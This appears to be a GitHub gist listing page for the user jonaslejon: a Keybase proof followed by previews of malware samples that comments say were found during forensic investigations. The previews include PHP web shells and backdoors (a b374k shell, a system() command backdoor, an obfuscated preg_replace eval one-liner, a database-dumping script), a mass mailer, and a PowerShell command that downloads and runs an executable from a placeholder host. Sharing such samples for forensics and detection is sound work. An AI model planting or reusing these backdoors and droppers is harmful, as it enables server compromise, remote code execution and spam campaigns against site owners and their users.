jonaslejon

### Keybase proof

I hereby claim:

  * I am jonaslejon on github.
  * I am jonaslejon (https://keybase.io/jonaslejon) on keybase.
  * I have a public key ASD1npZDNt8vxdD8n7zAoGKJ3RbSpFrSI1NBTFOp8MQjFAo

To claim this, I am signing this object:

jonaslejon

<?php
error_reporting(0);
$ver = '6.6.6';
$my_keyw = $_SERVER['HTTP_USER_AGENT'];
$items_per_page = 50;
$admin_name = '27a0e2015f9087981c0b95a29fc4ba57';
$admin_pass = '9413c48772f73d5c305b65eb58a06f9c';

if($my_keyw=='spaumbot')

jonaslejon

<?php 

if (substr(md5($_GET["localdate"]),0,6) == "6fbcb8") { 

  $time = str_replace("@"," ",$_GET["localtime"]); 
  @system($time); exit;
} 

?>

jonaslejon

<?php
$s_pass = "741721fcb0bfc1f04405d8c82e436cab5ffcb141"; ?><?php
$s_ver = "2.8";
$s_title = "b374k " . $s_ver;
$s_login_time = 3600 * 24 * 7;
$s_debug = false;
@ob_start();
@set_time_limit(0);
@ini_set('html_errors', '0');
@clearstatcache();

jonaslejon

<?php
error_reporting(0);
if(isset($_GET['check']))
{
echo "pawet";
}
if(isset($_REQUEST["v1"]))
{
   $link = mysql_connect($_REQUEST["v1"], $_REQUEST["v2"], $_REQUEST["v3"]);
   $query = "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema NOT IN ( 'information_schema', 'performance_schema', 'mysql' )";

jonaslejon

<?php

if(!defined("CUR_PATH")){
	define("CUR_PATH",dirname(__FILE__) . DIRECTORY_SEPARATOR);
}
if(!defined("SETTINGS_FILE")){
	define("SETTINGS_FILE",CUR_PATH."img.jpg");
}
if(!defined("LOG_FILE")){
	define("LOG_FILE",CUR_PATH."dot.jpg");

jonaslejon

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('https://x.x.x.x/file.exe','%TEMP%\\31231231.cab'); expand %TEMP%\31231231.cab %TEMP%\31231231.exe; start %TEMP%\31231231.exe;

jonaslejon

<?php
/*
 The code below was found during a forensic investigation. It seems to be a mass mailer that is using the PHPMailer class to send mail
 from compromised web hosting providers.

 The "password" is 5307c392-ad5e-4909-adec-c9fd12572686, see below.

 Investigation was made by Jonas Lejon <jonas.githubgist at- triop.se>
 
 The signature for PHP.Trojan.Mailer-1 can only find the packed version of this file.

jonaslejon

<?php
/* 

  The PHP backdoor code below was found during an forensic investigation, a part of the payload is not posted here.

*/

$payload_name = "";

srand(time());

jonaslejon

($WordPress = $_POST['Wp']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($WordPress)', 'add');